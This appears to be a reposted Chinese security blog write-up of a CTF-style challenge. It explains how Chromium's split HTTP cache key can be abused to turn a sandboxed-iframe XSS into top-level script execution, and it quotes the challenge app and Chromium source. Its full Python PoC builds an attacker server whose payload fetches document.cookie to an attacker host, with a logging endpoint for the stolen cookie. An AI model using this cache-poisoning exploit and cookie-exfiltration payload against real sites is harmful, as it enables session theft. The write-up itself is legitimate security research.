有趣的绕过,CacheXSS"

admin 2026-10-16 04:29:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

有趣的绕过,Cache XSS

原创

YMsora
YMsora

YMs0ra的安全漫路

2026年10月5日 18:52
安徽

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

有趣的绕过,Cache XSS

总会有一些好玩的事情值得我去研究

(也是忙着新东西没时间写很多文章了)

老生常谈的xss,不过这次非常不一样

用了一些比较脑洞大开的trick,想来也是非常有趣的,以下是源码

from flask import Flask, request, make_response

app = Flask(__name__)
SECRET = \"flag{this_is_a_dummy_flag}\"

@app.get(\"/\")
def index():
    return \"\"\"
<body>
  <h1>XSS Challenge</h1>
  <form action=\"/\">
    <textarea name=\"html\" rows=\"4\" cols=\"36\"></textarea>
    <button type=\"submit\">Render</button>
  <form>
  <script type=\"module\">
    const blob = await fetch(\"/render\" + location.search, {
      headers: { \"X-From-Script\": \"1\" },
    }).then((r) => r.blob());
    if (blob.size) {
      document.forms[0].html.value = await blob.text();
      const iframe = document.createElement(\"iframe\");
      iframe.setAttribute(\"sandbox\", \"\");
      iframe.src = URL.createObjectURL(blob);
      document.body.append(iframe);
    }
  </script>
</body>
    \"\"\".strip()

@app.get(\"/render\")
def render():
    if not request.headers.get(\"X-From-Script\", \"\"):
        return \"Use script\", 400
    res = make_response(request.args.get(\"html\", \"\"))
    return res

if __name__ == \"__main__\":
    app.run(debug=True, host=\"0.0.0.0\", port=3000)

可以看到访问首页后提交的html被丢入iframe并且设置了sandbox,rander路由返回了原始的html,

但是因为sandbox我无法执行js,并且直接访问render想直接渲染,但是我无法控制bot的X-From-Script头,那就直接返回400了

看上去完全没有办法,那就开始研究吧

先引入一下新Chromium 的cache的机制

因为注意到

  if (blob.size) {
      document.forms[0].html.value = await blob.text();
      const iframe = document.createElement(\"iframe\");
      iframe.setAttribute(\"sandbox\", \"\");
      iframe.src = URL.createObjectURL(blob);
      document.body.append(iframe);
    }

是发生在服务端返回的后面的,这样的话cache也就和后续的js没有关系

而且cache是发生在顶层文档的,html会进行解析,我可以控制的只有bot访问,接下来怎么办呢

cache的调用因素如下

# 因素 来源 说明
1 URL 请求 字符级完全一致,连百分号编码都要一样
2 top-frame site NetworkIsolationKey 地址栏那个页面的站点(eTLD+1)
3 frame site NetworkIsolationKey 真正发请求的那个 frame 的站点
4 s_ is_subframe_document_resource 这次是\"子框架的文档资源\"吗
5 cn_ ★ is_mainframe_navigation && initiator.has_value() && !IsSameSite(initiator, url) 这次是\"跨站发起的主框架导航\"吗
6 credential 前缀 LOAD_DO_NOT_SAVE_COOKIES \"1/\"(带 credentials)/\"0/\"(不带)
7 upload id 请求体 POST body 的标识;GET 恒为 0
8 _dk_ 分区缓存总开关 有没有开 network state partitioning

需要注意的是frame site以及cn,需要的是no-cross-site,但是我只能控制我的页面的js

可以注意到直接访问 / 以及同源fetch是没有改变initiator,page goto也是原本浏览器发起,initiator也为null,

以及实测redirect也是没有改变initiator的

但是location以及跨站的fetch是cross-site,

由此可得思路,让bot导航到攻击者页面后,执行js,page goto到xss地址并且同源fetch render,这时返回的是html以及200响应

但是因为sandbox是没有渲染的,无法执行,所以让bot二次访问,并且设定blob协议,history.back( )

再将攻击者的 / 重定向到目标的/view,如此就可以命中缓存,直接return payload到bot的顶层文档

如此xss也就渲染了,并没有服务端的下一步

要注意的是,在302重定向时需要no-store,不然默认是不会发起请求的,请求后也就会把payload恢复

poc如下

#!/usr/bin/env python3
# framed-xss PoC — python3 poc.py
from flask import Flask, redirect, request
from urllib.parse import quote
import json

def encodeURIComponent(s):
    return quote(s, safe=\"~()*!'\")

app = Flask(__name__)

REMOTE   = \"http://victim.localhost:3000\"
ENDPOINT = \"/render\"
SELF     = \"http://attacker.localhost:7777\"
PAYLOAD  = \"<script>fetch('%s/x?c='+encodeURIComponent(document.cookie))</script>\" % SELF
PORT     = 7777

@app.after_request
def add_headers(resp):
    resp.headers[\"Cache-Control\"] = \"no-store, no-cache\"
    return resp
i = 0
@app.get(\"/\")
def index():
    global i
    i = (i + 1) % 2
    if i == 1:
        return r\"\"\"
<script>
const sleep = ms => new Promise(res => setTimeout(res, ms))
const remote = %s
const payload = %s
;(async()=>{
    open(new URL('/?html=' + encodeURIComponent(payload), remote))
    await sleep(1000)
    location = URL.createObjectURL(new Blob([`
        <script>setTimeout(()=>history.back(), 1000)<\\/script>
    `], { type: \"text/html\" }))
})()
</script>
\"\"\" % (json.dumps(REMOTE), json.dumps(PAYLOAD).replace(\"</\", \"<\\\\/\"))
    return redirect(\"%s%s?html=%s\" % (REMOTE, ENDPOINT, encodeURIComponent(PAYLOAD)))

@app.get(\"/x\")
def exfil():
    print(\"\
[+PWN] cookie = %r\
\" % request.args.get(\"c\"), flush=True)
    return \"ok\"

if __name__ == \"__main__\":
    app.run(host=\"0.0.0.0\", port=PORT)

所以想来cache都是满足的

附上Chromium关于cache相关的处理源码

// static
std::optional<std::string> HttpCache::GenerateCacheKey(
    const GURL& url,
    int load_flags,
    const NetworkIsolationKey& network_isolation_key,
    std::optional<int64_t> upload_data_identifier,
    bool is_subframe_document_resource,
    bool is_mainframe_navigation,          // ← 是不是主框架导航
    bool is_shared_resource,
    std::optional<url::Origin> initiator,  // ← 发起者,可为 nullopt
    bool include_url) {
  std::string isolation_key;
  if (IsSplitCacheEnabled()) {
    if (network_isolation_key.IsTransient()) {
      return std::nullopt;
    }
    if (!is_shared_resource) {
      const std::string_view subframe_prefix =
          is_subframe_document_resource ? kSubframeDocumentResourcePrefix : \"\";

      // ★★★★★ 新加的那个维度就是这里 ★★★★★
      const bool is_cross_site_main_frame_navigation =
          is_mainframe_navigation && initiator.has_value() &&
          !net::SchemefulSite::IsSameSite(*initiator, url::Origin::Create(url));
      const std::string_view cross_site_prefix =
          is_cross_site_main_frame_navigation
              ? kCrossSiteMainFrameNavigationPrefix
              : \"\";

      isolation_key = base::StrCat({
          kDoubleKeyPrefix,          // \"_dk_\"
          subframe_prefix,           // \"s_\" 或 \"\"
          cross_site_prefix,         // ★ \"cn_\" 或 \"\"
          *network_isolation_key.ToCacheKeyString(),
          include_url ? kDoubleKeySeparator : \"\",
      });
    }
  }
  ...
  // key 形状: credential_key/upload_id/[isolation_key]url
  return base::StrCat({credential_prefix, ...,
                       isolation_key, include_url ? HttpUtil::SpecForRequest(url) : \"\"});
}

以上


有趣的绕过,CacheXSS" 网络安全文章

有趣的绕过,CacheXSS"

本文分析了一种利用Chromium缓存机制绕过sandbox实现XSS攻击的技术。作者通过分析缓存键生成机制,利用缓存投毒技术,在目标页面中执行XSSpayload,并提供了完整POC代码。文章包含源码分析、Chromium源码引用,技术深度较高,可操作性较强。
马斯克将旗下人工智能业务更名为SpaceXSI;Altman称AI发展应容忍一定风险;小米VisionGT将入驻《GT7》游戏|极客早知道" 网络安全文章

马斯克将旗下人工智能业务更名为SpaceXSI;Altman称AI发展应容忍一定风险;小米VisionGT将入驻《GT7》游戏|极客早知道"

本文报道马斯克拟将旗下AI业务更名为SpaceXSI以契合特朗普政府推行的超级智能概念,华为发布韬定律并量产381款τ芯片,台积电计划2027年上调先进晶圆价格,奥特曼主张AI发展需容忍一定风险,Google调整Gemini免费策略,GPT-6成功破解拿破仑密信,苹果iPhone18Pro销量亮眼且MacBookPro拟减重,小米VisionGT入驻GT7,谷歌因AI幻觉报告泛滥暂停开源漏洞奖励计划。
(10分)CVE-2026-105134:AhsayCBS备份服务未授权RCE" 网络安全文章

(10分)CVE-2026-105134:AhsayCBS备份服务未授权RCE"

本文披露AhsayCBS备份服务高危漏洞CVE-2026-105134,CVSS满分10.0,源于ReplicationReceiver组件OS命令注入,未授权远程可RCE,影响版本≤10.3.2,官方已发布10.3.4修复。文章详析漏洞成因、攻击路径、检测方法及修复建议,强调备份服务器高价值与防护薄弱问题,建议升级并限制接口公网暴露。
AI,为什么总在画美女?" 网络安全文章

AI,为什么总在画美女?"

本文分析AI生成图像中美女形象成为默认值的现象。从1973年Lena照片成为图像处理标准测试图切入,结合平均脸审美心理、训练数据偏差及用户点击反馈循环,指出AI偏爱生成美女是统计特性、人类审美与商业激励共同作用的结果。文章揭示技术选择背后的人性因素,并警示数据偏见与商业激励可能带来的伦理风险。
评论:0   参与:  0